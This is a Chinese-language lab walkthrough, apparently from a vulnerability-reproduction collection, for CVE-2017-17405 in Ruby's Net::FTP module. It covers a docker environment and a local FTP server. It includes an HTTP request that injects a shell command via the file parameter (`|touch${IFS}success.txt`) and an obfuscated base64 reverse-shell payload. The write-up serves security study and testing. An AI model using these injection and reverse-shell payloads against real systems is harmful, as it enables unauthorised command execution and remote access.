# Ruby Net::FTP 模块命令注入漏洞（CVE-2017-17405）

Ruby Net::FTP 模块在Ruby中用于处理和FTP协议相关的功能。

Ruby 2.4.3版本前，Net::FTP 模块在上传和下载文件时使用了`open`函数。而`open`函数借用系统命令来打开文件，且未过滤shell字符，导致在用户控制文件名的情况下，将可以注入任意命令。

参考链接：

- <https://blog.heroku.com/identifying-ruby-ftp-cve>
- <https://www.exploit-db.com/exploits/43381>

## 漏洞环境

执行如下命令使用Ruby 2.4.1启动一个Web服务：

```
docker compose up -d
```

环境启动后，访问`http://your-ip:8080/`将可以看到一个HTTP服务。这个HTTP服务的作用是，我们访问`http://your-ip:8080/download?uri=ftp://example.com:2121/&file=vulhub.txt`，它会从example.com:2121这个ftp服务端下载文件vulhub.txt到本地，并将内容返回给用户。

## 漏洞复现

因为这是一个FTP客户端的漏洞，所以我们需要先运行一个可以被访问到的服务端。比如使用python的pyftpdlib：

```
# 安装pyftpdlib
pip install pyftpdlib

# 在当前目录下启动一个ftp服务器，默认监听在`0.0.0.0:2121`端口
python3 -m pyftpdlib -p 2121 -i 0.0.0.0
```

然后，将刚才启动的FTP服务器地址作为*uri*参数，`|touch${IFS}success.txt`作为*file*参数，替换进下面的请求发送：

```
GET /download?uri=ftp://example.com:2121/&file=|touch${IFS}success.txt HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Connection: close
Cache-Control: max-age=0


```

![](1.png)

然后进入docker容器内，可见success.txt已被创建：

![](2.png)

执行反弹shell的命令`|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA...}|{base64,-d}|{bash,-i}'`，成功反弹：

![](3.png)
